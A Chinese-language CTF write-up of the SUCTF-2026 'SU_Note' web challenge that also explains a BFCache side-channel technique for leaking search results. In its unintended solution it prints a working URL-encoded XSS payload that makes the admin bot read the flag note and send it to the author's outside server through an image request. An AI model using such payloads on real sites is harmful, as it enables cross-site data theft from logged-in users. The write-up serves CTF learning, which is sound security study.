BFCache 侧信道攻击 (SUCTF-2026 SU_Note)
从未想过的攻击思路,原题来自SUCTF-2026的SU_Note
关于题目
题目简述
这个题目是一个笔记系统,用户登录,发布笔记,可以模糊搜索自己写的笔记,flag在admin用户(用户名/密码随机)的笔记里面
另外内置了一个chrome,写了一个bot.js用puppeteer-core去访问指定的url,网站部署在http://127.0.0.1:10003/,bot部署在内部80端口,用的是admin的身份
非预期解
在search里面搜索一个</script><script>alert(1)</script>提示1,说明有xss漏洞
然后我们只要让bot用admin的身份去访问本地的search路由,执行js,把搜索到的数据外带就可以了,这里我选择让他加载图片,访问我服务器的/leak?f=
payload如下
http://127.0.0.1:80/search.php?q=%3C%2Fscript%3E%3Cscript%3Etry%7Bfunction%20G(u)%7Bvar%20x%3Dnew%20XMLHttpRequest()%3Bx.open('GET'%2Cu%2Cfalse)%3Bx.send()%3Breturn%20x.responseText%3B%7Dfunction%20F(t)%7Bvar%20a%3Dt.indexOf('SUCTF%7B')%3Bif(a%3C0)return''%3Bvar%20b%3Dt.indexOf('%7D'%2Ca)%3Breturn%20b%3E%3Da%3Ft.slice(a%2Cb%2B1)%3A''%3B%7Dvar%20note%3DG('%2F%3Fnote%3D__system_flag_note__')%3Bvar%20flag%3DF(note)%3B(new%20Image()).src%3D'https%3A%2F%2Fpencilfishdaydream.fun%2Fleak%3Ff%3D'%2BencodeURIComponent(flag)%3B%7Dcatch(e)%7B%7D%3C%2Fscript%3E
预期解法
看了下面自然就知道了
关于BFCache 侧信道攻击
BFCache(Back/Forward Cache)
这个缓存存的是,在浏览器中点击前进和后退时弹出的界面。
当你离开一个页面的时候,BFCache会把当前状态保存进内存,当你Back回来之后不走任何网络请求,也不走传统的 HTTP 硬盘缓存
no-store(绝对不缓存)
no-store 是HTTP响应头Cache-Cobtrol中的一个指令(Cache-Control:no-store),就是让浏览器及中间网关不要缓存他,每一次访问都要走网络,此指令应适用于包含敏感数据的网页(例如用户登录后的网页)
no-store是缓存存都不能存,no-cache是可以存,但使用前必须验证,如果服务器发回来304就直接用缓存
unload(页面卸载事件)
当你离开页面的时候,如果写了如
|
|
的函数,如果这个代码触发了,也就是注册了unload,那在新旧的政策下都是不进入BFCache的
解释
传统的情况是,如果HTML页面设置了 Cache-Control: no-store, Chrome就会完全禁止其生成BFCache,但是在近两年的政策中:
|
|
而unload 事件与 BFCache的互斥现在仍然存在
另外,BFCache和缓存数量有上限(常见为6),满了之后通过LRU(最近最少使用)机制淘汰,而通过监听pageshow的persisted属性可以判断这个页面是不是从BFCache中恢复的
通过上面的信息可知,“如果目标网站的某个操作(如搜索是否命中)会导致页面源码产生差异 (例如命中时不注册 unload,未命中时注册了 unload),我们就可以利用侧信道来探测这个差异
可以通过连续加入新的BFCache, 之后再返回来检查最远的页面的缓存是否被踢掉来判断,之前的判断条件是否成立,或者进一步实现布尔盲注
碎碎念
这个题当时虽然被非预期麻了,但是他dockerfile和entrypoint.sh写得非常成熟老练,学到了很多脚本的用法,话说我好像已经两个季度没有追番了,好累啊
